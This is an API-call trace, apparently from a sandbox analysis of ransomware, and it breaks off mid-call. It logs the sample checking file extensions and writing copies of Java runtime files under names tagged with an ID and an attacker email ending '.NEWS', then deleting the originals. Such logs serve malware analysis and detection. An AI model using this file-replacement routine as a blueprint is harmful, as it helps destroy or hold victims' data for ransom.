lstrlenW (lpString=".dbf") returned 4 [0160.156] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString=".1cd") returned 4 [0160.157] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.157] lstrlenW (lpString=".jpg") returned 4 [0160.157] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.157] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0160.157] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0160.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0160.158] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4072) returned 1 [0160.158] CloseHandle (hObject=0x470) returned 1 [0160.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0160.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0160.158] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.158] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.159] GetLastError () returned 0x0 [0160.159] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xfe8, lpOverlapped=0x0) returned 1 [0160.161] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xff0, lpOverlapped=0x0) returned 1 [0160.162] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.162] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x106, lpOverlapped=0x0) returned 1 [0160.162] SetEndOfFile (hFile=0x474) returned 1 [0160.162] CloseHandle (hObject=0x474) returned 1 [0160.163] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.163] SetEndOfFile (hFile=0x470) returned 1 [0160.166] CloseHandle (hObject=0x470) returned 1 [0160.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.166] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0160.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.167] lstrlenW (lpString=".doc") returned 4 [0160.167] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.167] lstrlenW (lpString=".docx") returned 5 [0160.167] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.167] lstrlenW (lpString=".pdf") returned 4 [0160.167] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.167] lstrlenW (lpString=".xls") returned 4 [0160.167] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.167] lstrlenW (lpString=".xlsx") returned 5 [0160.167] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.167] lstrlenW (lpString=".ppt") returned 4 [0160.167] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.167] lstrlenW (lpString=".zip") returned 4 [0160.167] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.167] lstrlenW (lpString=".rar") returned 4 [0160.167] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.167] lstrlenW (lpString=".bz2") returned 4 [0160.167] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".7z") returned 3 [0160.168] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.168] lstrlenW (lpString=".dbf") returned 4 [0160.168] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.168] lstrlenW (lpString=".1cd") returned 4 [0160.168] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.168] lstrlenW (lpString=".jpg") returned 4 [0160.168] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.168] lstrlenW (lpString=".doc") returned 4 [0160.168] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".docx") returned 5 [0160.168] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.168] lstrlenW (lpString=".pdf") returned 4 [0160.168] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".xls") returned 4 [0160.168] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".xlsx") returned 5 [0160.168] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.168] lstrlenW (lpString=".ppt") returned 4 [0160.168] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.168] lstrlenW (lpString=".zip") returned 4 [0160.168] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".rar") returned 4 [0160.168] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".bz2") returned 4 [0160.168] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.168] lstrlenW (lpString=".7z") returned 3 [0160.168] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.169] lstrlenW (lpString=".dbf") returned 4 [0160.169] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.169] lstrlenW (lpString=".1cd") returned 4 [0160.169] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0160.169] lstrlenW (lpString=".jpg") returned 4 [0160.169] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.169] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0160.169] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0160.169] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0160.171] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3752) returned 1 [0160.171] CloseHandle (hObject=0x470) returned 1 [0160.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0160.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.171] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0160.171] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.172] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.172] GetLastError () returned 0x0 [0160.172] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xea8, lpOverlapped=0x0) returned 1 [0160.174] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0160.175] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.175] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x106, lpOverlapped=0x0) returned 1 [0160.175] SetEndOfFile (hFile=0x474) returned 1 [0160.175] CloseHandle (hObject=0x474) returned 1 [0160.176] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.176] SetEndOfFile (hFile=0x470) returned 1 [0160.180] CloseHandle (hObject=0x470) returned 1 [0160.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.180] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0160.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.181] lstrlenW (lpString=".doc") returned 4 [0160.181] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.181] lstrlenW (lpString=".docx") returned 5 [0160.181] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.181] lstrlenW (lpString=".pdf") returned 4 [0160.181] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.181] lstrlenW (lpString=".xls") returned 4 [0160.181] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.181] lstrlenW (lpString=".xlsx") returned 5 [0160.181] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.181] lstrlenW (lpString=".ppt") returned 4 [0160.181] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.181] lstrlenW (lpString=".zip") returned 4 [0160.181] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.181] lstrlenW (lpString=".rar") returned 4 [0160.181] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.181] lstrlenW (lpString=".bz2") returned 4 [0160.182] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".7z") returned 3 [0160.182] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.182] lstrlenW (lpString=".dbf") returned 4 [0160.182] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.182] lstrlenW (lpString=".1cd") returned 4 [0160.182] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.182] lstrlenW (lpString=".jpg") returned 4 [0160.182] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.182] lstrlenW (lpString=".doc") returned 4 [0160.182] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".docx") returned 5 [0160.182] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.182] lstrlenW (lpString=".pdf") returned 4 [0160.182] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".xls") returned 4 [0160.182] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".xlsx") returned 5 [0160.182] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.182] lstrlenW (lpString=".ppt") returned 4 [0160.182] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.182] lstrlenW (lpString=".zip") returned 4 [0160.182] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".rar") returned 4 [0160.182] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".bz2") returned 4 [0160.182] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.182] lstrlenW (lpString=".7z") returned 3 [0160.183] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.183] lstrlenW (lpString=".dbf") returned 4 [0160.183] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.183] lstrlenW (lpString=".1cd") returned 4 [0160.183] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0160.183] lstrlenW (lpString=".jpg") returned 4 [0160.183] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.183] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0160.183] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0160.183] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0160.184] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3752) returned 1 [0160.184] CloseHandle (hObject=0x470) returned 1 [0160.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0160.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0160.185] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.185] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.185] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.185] GetLastError () returned 0x0 [0160.185] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xea8, lpOverlapped=0x0) returned 1 [0160.188] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0160.189] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.189] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x106, lpOverlapped=0x0) returned 1 [0160.189] SetEndOfFile (hFile=0x474) returned 1 [0160.189] CloseHandle (hObject=0x474) returned 1 [0160.189] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.189] SetEndOfFile (hFile=0x470) returned 1 [0161.018] CloseHandle (hObject=0x470) returned 1 [0161.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.018] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0161.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.019] lstrlenW (lpString=".doc") returned 4 [0161.019] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.019] lstrlenW (lpString=".docx") returned 5 [0161.019] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.019] lstrlenW (lpString=".pdf") returned 4 [0161.019] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.019] lstrlenW (lpString=".xls") returned 4 [0161.019] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.019] lstrlenW (lpString=".xlsx") returned 5 [0161.019] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.019] lstrlenW (lpString=".ppt") returned 4 [0161.019] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString=".zip") returned 4 [0161.020] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".rar") returned 4 [0161.020] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".bz2") returned 4 [0161.020] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".7z") returned 3 [0161.020] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString=".dbf") returned 4 [0161.020] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString=".1cd") returned 4 [0161.020] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString=".jpg") returned 4 [0161.020] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString=".doc") returned 4 [0161.020] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".docx") returned 5 [0161.020] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.020] lstrlenW (lpString=".pdf") returned 4 [0161.020] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".xls") returned 4 [0161.020] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".xlsx") returned 5 [0161.020] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.020] lstrlenW (lpString=".ppt") returned 4 [0161.020] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.020] lstrlenW (lpString=".zip") returned 4 [0161.020] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".rar") returned 4 [0161.020] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.020] lstrlenW (lpString=".bz2") returned 4 [0161.021] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.021] lstrlenW (lpString=".7z") returned 3 [0161.021] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.021] lstrlenW (lpString=".dbf") returned 4 [0161.021] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.021] lstrlenW (lpString=".1cd") returned 4 [0161.021] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0161.021] lstrlenW (lpString=".jpg") returned 4 [0161.021] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.021] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0161.021] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0161.021] CreateFileW (lpFileName="C:\\Program 